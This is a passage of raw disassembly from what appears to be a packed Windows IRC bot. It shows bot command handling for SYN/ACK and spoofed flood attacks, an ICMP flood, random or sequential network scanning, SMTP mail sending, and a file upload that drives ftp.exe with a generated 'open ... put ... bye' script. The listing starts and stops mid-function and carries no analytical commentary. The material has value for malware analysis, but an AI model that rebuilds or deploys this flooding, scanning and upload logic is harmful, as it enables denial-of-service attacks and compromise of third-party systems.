		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB944	; WSAStartup
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA58	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA54	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9D4	; htons
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC	; recv
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA24	; send
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC	; recv
		push	esi
		call	dword_4CBA6C	; closesocket
		call	dword_4CB92C	; WSACleanup
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AEFC


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEB4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE70
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset sub_4149C1
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AE38
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE00


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAC4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADB8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset sub_413E10
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AD80
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF4


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC8C
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: .packed:004330E0o
					; .packed:004330F4o ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC44
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset sub_413F9C
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AC0C


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABA8


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB38
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB08


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_4317F8


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AAD4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB978	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA38
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40C600
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AA00
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40CA1D
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A974
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
